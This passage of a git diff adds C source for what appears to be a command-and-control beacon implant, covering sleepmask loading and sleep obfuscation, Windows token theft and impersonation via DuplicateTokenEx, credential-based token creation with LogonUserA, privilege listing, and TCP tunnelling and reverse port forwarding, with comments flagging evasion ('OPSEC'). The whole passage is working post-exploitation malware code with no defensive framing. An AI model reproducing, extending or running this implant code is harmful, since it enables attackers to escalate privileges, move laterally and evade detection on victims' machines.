NAX_OK; +} + +/* ========= [ NaxSleepmaskInit - load embedded BOF at startup ] ========= */ + +FUNC INT NaxSleepmaskInit( PNAX_INSTANCE Nax ) { +#ifdef NAX_SLEEPMASK_LEN + NaxDbg( Nax, "[sleepmask] init: embedding %u bytes", (UINT32)NAX_SLEEPMASK_LEN ); + + PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_SLEEPMASK_LEN ); + if ( !buf ) { + NaxDbg( Nax, "[sleepmask] init: alloc failed" ); + return NAX_ERR_FAIL; + } + + NAX_SLEEPMASK_WRITE( buf ); + + /* Persist a copy so runtime SmSlot DLL changes can re-wire */ + Nax->SmBofCache = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_SLEEPMASK_LEN ); + if ( Nax->SmBofCache ) { + MmCopy( Nax->SmBofCache, buf, NAX_SLEEPMASK_LEN ); + Nax->SmBofCacheLen = NAX_SLEEPMASK_LEN; + } + + INT rc = NaxSleepmaskWire( Nax, buf, NAX_SLEEPMASK_LEN ); + + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, buf ); + return rc; +#else + return NAX_OK; +#endif +} + +/* ========= [ CMD_SLEEPMASK_SET - runtime reload via task ] ========= */ + +FUNC INT NaxCmdSleepmaskSet( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + *out_len = 0; + + if ( args_len < 4 ) + return NAX_ERR_WIRE; + + UINT32 coff_size = NaxR32( args ); + if ( coff_size == 0 || coff_size > args_len - 4 ) + return NAX_ERR_WIRE; + + PBYTE coff = args + 4; + + /* Update cache so SmSlot DLL changes can re-wire later */ + if ( Nax->SmBofCache ) + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax->SmBofCache ); + Nax->SmBofCache = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, coff_size ); + if ( Nax->SmBofCache ) { + MmCopy( Nax->SmBofCache, coff, coff_size ); + Nax->SmBofCacheLen = coff_size; + } + + return NaxSleepmaskWire( Nax, coff, coff_size ); +} + +/* ========= [ CMD_SLEEPOBF_CONFIG - runtime sleep obfuscation toggle ] ========= */ + +FUNC INT NaxCmdSleepObfConfig( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 2 ) + return NAX_ERR_WIRE; + + Nax->SmInfo.Config.SleepObf = args[0]; + + NaxDbg( Nax, "[sleepobf] config: sleep_obf=%u", Nax->SmInfo.Config.SleepObf ); + + out[0] = Nax->SmInfo.Config.SleepObf; + out[1] = 0; + *out_len = 2; + + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Token.c b/src_beacon/src/Commands/Token.c new file mode 100644 index 0000000..3fe754e --- /dev/null +++ b/src_beacon/src/Commands/Token.c @@ -0,0 +1,416 @@ +#include "Macros.h" +#include "Instance.h" +#include "Common.h" + +/* ========= [ forward declarations (Packer.c) ] ========= */ + +FUNC VOID NaxW16( PBYTE p, UINT16 v ); +FUNC VOID NaxW32( PBYTE p, UINT32 v ); +FUNC UINT32 NaxR32( const PBYTE p ); + +/* ========= [ helpers ] ========= */ + +static UINT32 NaxTokenNextId( PNAX_INSTANCE Nax ) { + UINT32 id = 1; + for ( ;; id++ ) { + NAX_TOKEN_NODE* cur = Nax->TokenHead; + BOOL found = FALSE; + while ( cur ) { + if ( cur->TokenId == id ) { found = TRUE; break; } + cur = cur->Next; + } + if ( !found ) return id; + } +} + +static BOOL NaxTokenResolveUser( PNAX_INSTANCE Nax, HANDLE hToken, PCHAR user, DWORD* userLen, PCHAR domain, DWORD* domainLen ) { + if ( !hToken || !Nax->Advapi32.GetTokenInformation || !Nax->Advapi32.LookupAccountSidA ) + return FALSE; + + DWORD tokenInfoSize = 0; + Nax->Advapi32.GetTokenInformation( hToken, TokenUser, NULL, 0, &tokenInfoSize ); + if ( tokenInfoSize == 0 ) return FALSE; + + PVOID tokenInfo = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize ); + if ( !tokenInfo ) return FALSE; + + BOOL result = FALSE; + if ( Nax->Advapi32.GetTokenInformation( hToken, TokenUser, tokenInfo, tokenInfoSize, &tokenInfoSize ) ) { + SID_NAME_USE sidType; + result = Nax->Advapi32.LookupAccountSidA( NULL, ((PTOKEN_USER)tokenInfo)->User.Sid, user, userLen, domain, domainLen, &sidType ); + } + + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, tokenInfo ); + return result; +} + +static NAX_TOKEN_NODE* NaxTokenAdd( PNAX_INSTANCE Nax, HANDLE hToken, UINT32 sourcePid ) { + NAX_TOKEN_NODE* node = (NAX_TOKEN_NODE*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_TOKEN_NODE ) ); + if ( !node ) return NULL; + MmZero( node, sizeof( NAX_TOKEN_NODE ) ); + + node->Handle = hToken; + node->TokenId = NaxTokenNextId( Nax ); + node->SourcePid = sourcePid; + node->Next = NULL; + + DWORD userLen = sizeof( node->User ) - 1; + DWORD domainLen = sizeof( node->Domain ) - 1; + NaxTokenResolveUser( Nax, hToken, node->User, &userLen, node->Domain, &domainLen ); + + if ( !Nax->TokenHead ) { + Nax->TokenHead = node; + } else { + NAX_TOKEN_NODE* tail = Nax->TokenHead; + while ( tail->Next ) tail = tail->Next; + tail->Next = node; + } + + return node; +} + +static NAX_TOKEN_NODE* NaxTokenFindById( PNAX_INSTANCE Nax, UINT32 tokenId ) { + NAX_TOKEN_NODE* cur = Nax->TokenHead; + while ( cur ) { + if ( cur->TokenId == tokenId ) return cur; + cur = cur->Next; + } + return NULL; +} + +static BOOL NaxTokenRemove( PNAX_INSTANCE Nax, UINT32 tokenId ) { + NAX_TOKEN_NODE* cur = Nax->TokenHead; + NAX_TOKEN_NODE* prev = NULL; + + while ( cur ) { + if ( cur->TokenId == tokenId ) { + if ( prev ) prev->Next = cur->Next; + else Nax->TokenHead = cur->Next; + if ( cur->Handle ) Nax->Ntdll.NtClose( cur->Handle ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, cur ); + return TRUE; + } + prev = cur; + cur = cur->Next; + } + return FALSE; +} + +/* Write a length-prefixed string: len(2LE) + bytes. Returns bytes written. */ +static UINT32 WriteLenStr( PBYTE p, const PCHAR s ) { + UINT32 len = 0; + if ( s ) { PCHAR t = (PCHAR)s; while ( *t ) { len++; t++; } } + NaxW16( p, (UINT16)len ); + if ( len > 0 ) MmCopy( p + 2, s, len ); + return 2 + len; +} + +/* ========= [ CMD_TOKEN_GETUID (0x50) ] ========= */ + +FUNC INT CmdTokenGetUid( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + HANDLE hToken = NULL; + + if ( Nax->Advapi32.OpenThreadToken ) + Nax->Advapi32.OpenThreadToken( (HANDLE)(LONG_PTR)-2, TOKEN_QUERY, TRUE, &hToken ); + + if ( !hToken ) + Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &hToken ); + + if ( !hToken ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + CHAR user[128]; MmZero( user, sizeof( user ) ); + CHAR domain[128]; MmZero( domain, sizeof( domain ) ); + DWORD userLen = sizeof( user ) - 1; + DWORD domainLen = sizeof( domain ) - 1; + + if ( !NaxTokenResolveUser( Nax, hToken, user, &userLen, domain, &domainLen ) ) { + Nax->Ntdll.NtClose( hToken ); + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + struct { DWORD TokenIsElevated; } elev; + DWORD elevSize = sizeof( elev ); + BYTE elevated = 0; + if ( Nax->Advapi32.GetTokenInformation( hToken, (TOKEN_INFORMATION_CLASS)20, &elev, sizeof( elev ), &elevSize ) ) + elevated = elev.TokenIsElevated ? 1 : 0; + + Nax->Ntdll.NtClose( hToken ); + + UINT32 pos = 0; + pos += WriteLenStr( out + pos, user ); + pos += WriteLenStr( out + pos, domain ); + out[pos++] = elevated; + *out_len = pos; + return NAX_OK; +} + +/* ========= [ CMD_TOKEN_STEAL (0x51) ] ========= */ + +FUNC INT CmdTokenSteal( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 5 ) return NAX_ERR_INVAL; + + UINT32 pid = NaxR32( args ); + BYTE impersonate = args[4]; + + OBJECT_ATTRIBUTES oa; + MmZero( &oa, sizeof( oa ) ); + oa.Length = sizeof( OBJECT_ATTRIBUTES ); + + CLIENT_ID cid; + MmZero( &cid, sizeof( cid ) ); + cid.UniqueProcess = (HANDLE)(UINT_PTR)pid; + + HANDLE hProcess = NULL; + NTSTATUS ns = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid ); + if ( !NT_SUCCESS( ns ) ) { + ns = Nax->Ntdll.NtOpenProcess( &hProcess, PROCESS_QUERY_INFORMATION, &oa, &cid ); + if ( !NT_SUCCESS( ns ) ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + } + + HANDLE hToken = NULL; + ns = Nax->Ntdll.NtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken ); + Nax->Ntdll.NtClose( hProcess ); + + if ( !NT_SUCCESS( ns ) || !hToken ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + HANDLE hDup = NULL; + BOOL duped = FALSE; + if ( Nax->Advapi32.DuplicateTokenEx ) { + duped = Nax->Advapi32.DuplicateTokenEx( hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDup ); + } + + if ( duped && hDup ) { + Nax->Ntdll.NtClose( hToken ); + hToken = hDup; + } + + NAX_TOKEN_NODE* node = NaxTokenAdd( Nax, hToken, pid ); + if ( !node ) { + Nax->Ntdll.NtClose( hToken ); + return NAX_ERR_NOMEM; + } + + if ( impersonate && Nax->Advapi32.ImpersonateLoggedOnUser ) { + Nax->Advapi32.ImpersonateLoggedOnUser( hToken ); + } + + UINT32 pos = 0; + NaxW32( out + pos, node->TokenId ); pos += 4; + pos += WriteLenStr( out + pos, node->User ); + pos += WriteLenStr( out + pos, node->Domain ); + out[pos++] = impersonate; + *out_len = pos; + return NAX_OK; +} + +/* ========= [ CMD_TOKEN_USE (0x52) ] ========= */ + +FUNC INT CmdTokenUse( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 4 ) return NAX_ERR_INVAL; + + UINT32 tokenId = NaxR32( args ); + NAX_TOKEN_NODE* node = NaxTokenFindById( Nax, tokenId ); + if ( !node ) { + *out_len = 0; + return NAX_ERR_FAIL; + } + + if ( !Nax->Advapi32.ImpersonateLoggedOnUser || !Nax->Advapi32.ImpersonateLoggedOnUser( node->Handle ) ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + UINT32 pos = 0; + pos += WriteLenStr( out + pos, node->User ); + pos += WriteLenStr( out + pos, node->Domain ); + *out_len = pos; + return NAX_OK; +} + +/* ========= [ CMD_TOKEN_LIST (0x53) ] ========= */ + +FUNC INT CmdTokenList( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + UINT32 cap = *out_len; + UINT32 pos = 4; + UINT32 count = 0; + + NAX_TOKEN_NODE* cur = Nax->TokenHead; + while ( cur && pos + 12 < cap ) { + NaxW32( out + pos, cur->TokenId ); pos += 4; + NaxW32( out + pos, cur->SourcePid ); pos += 4; + pos += WriteLenStr( out + pos, cur->User ); + pos += WriteLenStr( out + pos, cur->Domain ); + count++; + cur = cur->Next; + } + + NaxW32( out, count ); + *out_len = pos; + return NAX_OK; +} + +/* ========= [ CMD_TOKEN_RM (0x54) ] ========= */ + +FUNC INT CmdTokenRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 4 ) return NAX_ERR_INVAL; + + UINT32 tokenId = NaxR32( args ); + if ( !NaxTokenRemove( Nax, tokenId ) ) { + *out_len = 0; + return NAX_ERR_FAIL; + } + + *out_len = 0; + return NAX_OK; +} + +/* ========= [ CMD_TOKEN_REVERT (0x55) ] ========= */ + +FUNC INT CmdTokenRevert( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + if ( !Nax->Advapi32.RevertToSelf || !Nax->Advapi32.RevertToSelf() ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + *out_len = 0; + return NAX_OK; +} + +/* ========= [ CMD_TOKEN_MAKE (0x56) ] ========= */ + +FUNC INT CmdTokenMake( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 16 || !Nax->Advapi32.LogonUserA ) return NAX_ERR_INVAL; + + UINT32 off = 0; + DWORD logonType = NaxR32( args + off ); off += 4; + + UINT32 domainLen = NaxR32( args + off ); off += 4; + if ( off + domainLen > args_len ) return NAX_ERR_INVAL; + PCHAR domainRaw = (PCHAR)( args + off ); off += domainLen; + + if ( off + 4 > args_len ) return NAX_ERR_INVAL; + UINT32 userLen = NaxR32( args + off ); off += 4; + if ( off + userLen > args_len ) return NAX_ERR_INVAL; + PCHAR userRaw = (PCHAR)( args + off ); off += userLen; + + if ( off + 4 > args_len ) return NAX_ERR_INVAL; + UINT32 passLen = NaxR32( args + off ); off += 4; + if ( off + passLen > args_len ) return NAX_ERR_INVAL; + PCHAR passRaw = (PCHAR)( args + off ); + + PCHAR domain = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, domainLen + 1 ); + PCHAR user = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, userLen + 1 ); + PCHAR password = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, passLen + 1 ); + if ( !domain || !user || !password ) { + if ( domain ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, domain ); + if ( user ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, user ); + if ( password ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, password ); + return NAX_ERR_NOMEM; + } + + MmCopy( domain, domainRaw, domainLen ); domain[domainLen] = '\0'; + MmCopy( user, userRaw, userLen ); user[userLen] = '\0'; + MmCopy( password, passRaw, passLen ); password[passLen] = '\0'; + + HANDLE hToken = NULL; + BOOL ok = Nax->Advapi32.LogonUserA( user, domain, password, logonType, LOGON32_PROVIDER_DEFAULT, &hToken ); + + MmZero( password, passLen ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, password ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, user ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, domain ); + + if ( !ok || !hToken ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + NAX_TOKEN_NODE* node = NaxTokenAdd( Nax, hToken, 0 ); + if ( !node ) { + Nax->Ntdll.NtClose( hToken ); + return NAX_ERR_NOMEM; + } + + UINT32 pos = 0; + NaxW32( out + pos, node->TokenId ); pos += 4; + pos += WriteLenStr( out + pos, node->User ); + pos += WriteLenStr( out + pos, node->Domain ); + *out_len = pos; + return NAX_OK; +} + +/* ========= [ CMD_TOKEN_PRIVS (0x57) ] ========= */ + +FUNC INT CmdTokenPrivs( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) { + HANDLE hToken = NULL; + + if ( Nax->Advapi32.OpenThreadToken ) + Nax->Advapi32.OpenThreadToken( (HANDLE)(LONG_PTR)-2, TOKEN_QUERY, TRUE, &hToken ); + + if ( !hToken ) + Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &hToken ); + + if ( !hToken ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + DWORD tokenInfoSize = 0; + Nax->Advapi32.GetTokenInformation( hToken, TokenPrivileges, NULL, 0, &tokenInfoSize ); + if ( tokenInfoSize == 0 ) { + Nax->Ntdll.NtClose( hToken ); + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + PVOID privBuf = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, tokenInfoSize ); + if ( !privBuf ) { + Nax->Ntdll.NtClose( hToken ); + return NAX_ERR_NOMEM; + } + + if ( !Nax->Advapi32.GetTokenInformation( hToken, TokenPrivileges, privBuf, tokenInfoSize, &tokenInfoSize ) ) { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, privBuf ); + Nax->Ntdll.NtClose( hToken ); + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + PTOKEN_PRIVILEGES tp = (PTOKEN_PRIVILEGES)privBuf; + UINT32 cap = *out_len; + UINT32 pos = 4; + UINT32 count = 0; + + for ( DWORD i = 0; i < tp->PrivilegeCount && pos + 40 < cap; i++ ) { + CHAR name[64]; MmZero( name, sizeof( name ) ); + DWORD nameLen = sizeof( name ) - 1; + + if ( !Nax->Advapi32.LookupPrivilegeNameA || !Nax->Advapi32.LookupPrivilegeNameA( NULL, &tp->Privileges[i].Luid, name, &nameLen ) ) + continue; + + UINT32 slen = 0; + while ( name[slen] ) slen++; + + NaxW16( out + pos, (UINT16)slen ); pos += 2; + MmCopy( out + pos, name, slen ); pos += slen; + NaxW32( out + pos, tp->Privileges[i].Attributes ); pos += 4; + count++; + } + + NaxW32( out, count ); + *out_len = pos; + + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, privBuf ); + Nax->Ntdll.NtClose( hToken ); + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Tunnel.c b/src_beacon/src/Commands/Tunnel.c new file mode 100644 index 0000000..dce293a --- /dev/null +++ b/src_beacon/src/Commands/Tunnel.c @@ -0,0 +1,675 @@ +/* beacon/src/Commands/Tunnel.c + * lportfwd + rportfwd tunnel support. + * ws2_32 loaded lazily on first tunnel command (OPSEC). */ + +#include "Nax.h" + +/* inline NaxFdIsSet replacement - avoids linking __WSAFDIsSet from ws2_32 */ +static __inline BOOL NaxFdIsSet( UINT_PTR s, fd_set* set ) { + for ( unsigned int i = 0; i < set->fd_count; i++ ) { + if ( set->fd_array[i] == (SOCKET)s ) + return TRUE; + } + return FALSE; +} + +/* ========= [ ws2_32 lazy loader ] ========= */ + +FUNC BOOL NaxEnsureWs2( PNAX_INSTANCE Nax ) { + + if ( Nax->Ws2.Loaded ) + return TRUE; + + PVOID hWs2 = NaxGetModule( H_WS2_32_DLL ); + if ( !hWs2 ) { + WCHAR ws2Name[] = { 'w','s','2','_','3','2','.','d','l','l', 0 }; + hWs2 = C_PTR( Nax->Kernel32.LoadLibraryW( ws2Name ) ); + if ( !hWs2 ) + return FALSE; + } + + Nax->Ws2.WSAStartup = NaxGetProc( hWs2, H_WSASTARTUP ); + Nax->Ws2.WSACleanup = NaxGetProc( hWs2, H_WSACLEANUP ); + Nax->Ws2.WSAGetLastError = NaxGetProc( hWs2, H_WSAGETLASTERROR ); + Nax->Ws2.socket = NaxGetProc( hWs2, H_SOCKET_FN ); + Nax->Ws2.closesocket = NaxGetProc( hWs2, H_CLOSESOCKET ); + Nax->Ws2.connect = NaxGetProc( hWs2, H_CONNECT_FN ); + Nax->Ws2.bind = NaxGetProc( hWs2, H_BIND_FN ); + Nax->Ws2.listen = NaxGetProc( hWs2, H_LISTEN_FN ); + Nax->Ws2.accept = NaxGetProc( hWs2, H_ACCEPT_FN ); + Nax->Ws2.send = NaxGetProc( hWs2, H_SEND_FN ); + Nax->Ws2.recv = NaxGetProc( hWs2, H_RECV_FN ); + Nax->Ws2.select = NaxGetProc( hWs2, H_SELECT_FN ); + Nax->Ws2.ioctlsocket = NaxGetProc( hWs2, H_IOCTLSOCKET ); + Nax->Ws2.htons = NaxGetProc( hWs2, H_HTONS ); + Nax->Ws2.ntohs = NaxGetProc( hWs2, H_NTOHS ); + Nax->Ws2.inet_addr = NaxGetProc( hWs2, H_INET_ADDR ); + Nax->Ws2.gethostbyname = NaxGetProc( hWs2, H_GETHOSTBYNAME ); + Nax->Ws2.setsockopt = NaxGetProc( hWs2, H_SETSOCKOPT ); + Nax->Ws2.shutdown = NaxGetProc( hWs2, H_SHUTDOWN_FN ); + Nax->Ws2.WSACreateEvent = NaxGetProc( hWs2, H_WSACREATEEVENT ); + Nax->Ws2.WSACloseEvent = NaxGetProc( hWs2, H_WSACLOSEEVENT ); + Nax->Ws2.WSAEventSelect = NaxGetProc( hWs2, H_WSAEVENTSELECT ); + Nax->Ws2.WSAResetEvent = NaxGetProc( hWs2, H_WSARESETEVENT ); + Nax->Ws2.WSAEnumNetworkEvents = NaxGetProc( hWs2, H_WSAENUMNETWORKEVENTS ); + + if ( !Nax->Ws2.socket || !Nax->Ws2.connect || !Nax->Ws2.send || + !Nax->Ws2.recv || !Nax->Ws2.select || !Nax->Ws2.closesocket ) + return FALSE; + + WSADATA wsaData; + MmZero( &wsaData, sizeof( wsaData ) ); + if ( Nax->Ws2.WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) != 0 ) + return FALSE; + + Nax->Ws2.Loaded = TRUE; + return TRUE; +} + +/* ========= [ tunnel list helpers ] ========= */ + +FUNC NAX_TUNNEL* NaxTunnelFind( PNAX_INSTANCE Nax, UINT32 channelId ) { + + NAX_TUNNEL* t = Nax->TunnelHead; + while ( t ) { + if ( t->ChannelId == channelId ) + return t; + t = t->Next; + } + return NULL; +} + +FUNC NAX_TUNNEL* NaxTunnelAlloc( PNAX_INSTANCE Nax, UINT32 channelId ) { + + NAX_TUNNEL* t = C_PTR( Nax->Ntdll.RtlAllocateHeap( + Nax->Heap, 0x08, sizeof( NAX_TUNNEL ) ) ); + if ( !t ) + return NULL; + + MmZero( t, sizeof( NAX_TUNNEL ) ); + t->ChannelId = channelId; + t->Next = Nax->TunnelHead; + Nax->TunnelHead = t; + return t; +} + +FUNC VOID NaxTunnelRemove( PNAX_INSTANCE Nax, NAX_TUNNEL* target ) { + + NAX_TUNNEL** pp = &Nax->TunnelHead; + while ( *pp ) { + if ( *pp == target ) { + *pp = target->Next; + if ( target->WriteBuf ) + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, target->WriteBuf ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, target ); + return; + } + pp = &(*pp)->Next; + } +} + +/* ========= [ WSAEvent helpers for WFMO integration ] ========= */ + +FUNC VOID NaxTunnelRegisterSocket( PNAX_INSTANCE Nax, UINT_PTR sock, long events ) { + if ( !Nax->Ws2.WSACreateEvent ) + return; + if ( !Nax->TunnelEvent ) + Nax->TunnelEvent = Nax->Ws2.WSACreateEvent(); + if ( Nax->TunnelEvent ) + Nax->Ws2.WSAEventSelect( sock, Nax->TunnelEvent, events ); +} + +/* ========= [ pack tunnel result entry ] ========= */ + +/* Append one tunnel result entry to the output buffer. + * Returns bytes written, or 0 if not enough space. */ +FUNC UINT32 NaxTunnelPackEntry( PBYTE out, UINT32 cap, UINT32 cmdId, + PBYTE payload, UINT32 payloadLen ) { + + UINT32 entryLen = 4 + payloadLen; /* cmdId(4) + payload */ + UINT32 total = 4 + entryLen; /* entryLen(4) + entry */ + if ( total > cap ) + return 0; + + /* entryLen (4LE) */ + out[0] = (BYTE)( entryLen ); + out[1] = (BYTE)( entryLen >> 8 ); + out[2] = (BYTE)( entryLen >> 16 ); + out[3] = (BYTE)( entryLen >> 24 ); + + /* cmdId (4LE) */ + out[4] = (BYTE)( cmdId ); + out[5] = (BYTE)( cmdId >> 8 ); + out[6] = (BYTE)( cmdId >> 16 ); + out[7] = (BYTE)( cmdId >> 24 ); + + if ( payloadLen > 0 ) + MmCopy( out + 8, payload, payloadLen ); + + return total; +} + +/* ========= [ command handlers ] ========= */ + +FUNC VOID NaxTunnelConnectTCP( PNAX_INSTANCE Nax, UINT32 channelId, + UINT32 type, PBYTE addr, UINT32 addrLen, UINT32 port ) { + + NAX_TUNNEL* t = NaxTunnelAlloc( Nax, channelId ); + if ( !t ) + return; + + t->Type = type; + t->State = NAX_TUNNEL_STATE_CONNECT; + t->Mode = NAX_TUNNEL_MODE_TCP; + t->WaitTime = 10000; + t->StartTick = Nax->Kernel32.GetTickCount64(); + + UINT_PTR s = Nax->Ws2.socket( NAX_AF_INET, NAX_SOCK_STREAM, NAX_IPPROTO_TCP ); + if ( s == (UINT_PTR)-1 ) { + t->State = NAX_TUNNEL_STATE_CLOSE; + return; + } + t->Sock = s; + + /* non-blocking */ + ULONG nbio = 1; + Nax->Ws2.ioctlsocket( s, NAX_FIONBIO, &nbio ); + + /* short timeouts */ + INT timeoutMs = 100; + Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_RCVTIMEO, (PCHAR)&timeoutMs, sizeof( timeoutMs ) ); + Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_SNDTIMEO, (PCHAR)&timeoutMs, sizeof( timeoutMs ) ); + + /* null-terminate address - wire buffer has port bytes right after addr */ + CHAR addrBuf[256]; + UINT32 copyLen = addrLen < 255 ? addrLen : 255; + MmCopy( addrBuf, addr, copyLen ); + addrBuf[copyLen] = '\0'; + + struct sockaddr_in sa; + MmZero( &sa, sizeof( sa ) ); + sa.sin_family = NAX_AF_INET; + sa.sin_port = Nax->Ws2.htons( (USHORT)port ); + sa.sin_addr.s_addr = Nax->Ws2.inet_addr( addrBuf ); + + if ( sa.sin_addr.s_addr == NAX_INADDR_NONE ) { + struct hostent* he = Nax->Ws2.gethostbyname( addrBuf ); + if ( he && he->h_addr_list && he->h_addr_list[0] ) + MmCopy( &sa.sin_addr, he->h_addr_list[0], 4 ); + else { + Nax->Ws2.closesocket( s ); + t->State = NAX_TUNNEL_STATE_CLOSE; + return; + } + } + + NaxTunnelRegisterSocket( Nax, s, NAX_FD_CONNECT | NAX_FD_READ | NAX_FD_WRITE | NAX_FD_CLOSE ); + + Nax->Ws2.connect( s, (struct sockaddr*)&sa, sizeof( sa ) ); +} + +FUNC VOID NaxTunnelWriteTCP( PNAX_INSTANCE Nax, UINT32 channelId, + PBYTE data, UINT32 dataLen ) { + + NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId ); + if ( !t || t->State == NAX_TUNNEL_STATE_CLOSE ) + return; + + /* try immediate send if no buffered data */ + if ( !t->WriteBuf || t->WriteBufSize == 0 ) { + while ( dataLen > 0 ) { + INT sent = Nax->Ws2.send( t->Sock, (PCHAR)data, (INT)dataLen, 0 ); + if ( sent > 0 ) { + data += sent; + dataLen -= sent; + } else { + break; /* WSAEWOULDBLOCK or error - buffer the rest */ + } + } + if ( dataLen == 0 ) + return; + } + + /* buffer the remainder */ + UINT32 newSize = t->WriteBufSize + dataLen; + if ( newSize > NAX_TUNNEL_HARD_CAP ) { + t->State = NAX_TUNNEL_STATE_CLOSE; + return; + } + PBYTE newBuf = C_PTR( Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, newSize ) ); + if ( !newBuf ) { + t->State = NAX_TUNNEL_STATE_CLOSE; + return; + } + if ( t->WriteBuf && t->WriteBufSize > 0 ) + MmCopy( newBuf, t->WriteBuf, t->WriteBufSize ); + MmCopy( newBuf + t->WriteBufSize, data, dataLen ); + if ( t->WriteBuf ) + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, t->WriteBuf ); + t->WriteBuf = newBuf; + t->WriteBufSize = newSize; +} + +FUNC VOID NaxTunnelClose( PNAX_INSTANCE Nax, UINT32 channelId ) { + + NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId ); + if ( t ) { + t->State = NAX_TUNNEL_STATE_CLOSE; + t->CloseTimer = 0; + } +} + +FUNC VOID NaxTunnelReverse( PNAX_INSTANCE Nax, UINT32 tunnelId, UINT32 port ) { + + NAX_TUNNEL* t = NaxTunnelAlloc( Nax, tunnelId ); + if ( !t ) + return; + + t->Type = 0; + t->State = NAX_TUNNEL_STATE_CONNECT; + t->Mode = NAX_TUNNEL_MODE_REVERSE; + t->WaitTime = 0; + t->StartTick = Nax->Kernel32.GetTickCount64(); + + UINT_PTR s = Nax->Ws2.socket( NAX_AF_INET, NAX_SOCK_STREAM, NAX_IPPROTO_TCP ); + if ( s == (UINT_PTR)-1 ) { + t->State = NAX_TUNNEL_STATE_CLOSE; + return; + } + t->Sock = s; + + /* allow address reuse */ + INT reuse = 1; + Nax->Ws2.setsockopt( s, NAX_SOL_SOCKET, NAX_SO_REUSEADDR, (PCHAR)&reuse, sizeof( reuse ) ); + + /* non-blocking */ + ULONG nbio = 1; + Nax->Ws2.ioctlsocket( s, NAX_FIONBIO, &nbio ); + + /* bind loopback only (OPSEC) */ + struct sockaddr_in sa; + MmZero( &sa, sizeof( sa ) ); + sa.sin_family = NAX_AF_INET; + sa.sin_port = Nax->Ws2.htons( (USHORT)port ); + sa.sin_addr.s_addr = NAX_INADDR_LOOPBACK_NBO; + + if ( Nax->Ws2.bind( s, (struct sockaddr*)&sa, sizeof( sa ) ) != 0 ) { + Nax->Ws2.closesocket( s ); + t->State = NAX_TUNNEL_STATE_CLOSE; + return; + } + + if ( Nax->Ws2.listen( s, 10 ) != 0 ) { + Nax->Ws2.closesocket( s ); + t->State = NAX_TUNNEL_STATE_CLOSE; + return; + } + + NaxTunnelRegisterSocket( Nax, s, NAX_FD_ACCEPT | NAX_FD_CLOSE ); + + t->State = NAX_TUNNEL_STATE_READY; +} + +FUNC VOID NaxTunnelPause( PNAX_INSTANCE Nax, UINT32 channelId ) { + + NAX_TUNNEL* t = NaxTunnelFind( Nax, channelId ); + if ( t ) + t->SrvPaused = TRUE; +} + +FUNC VOID NaxTunnelResume( PNAX_INSTANCE Nax, UINT32 channelId ) { + + 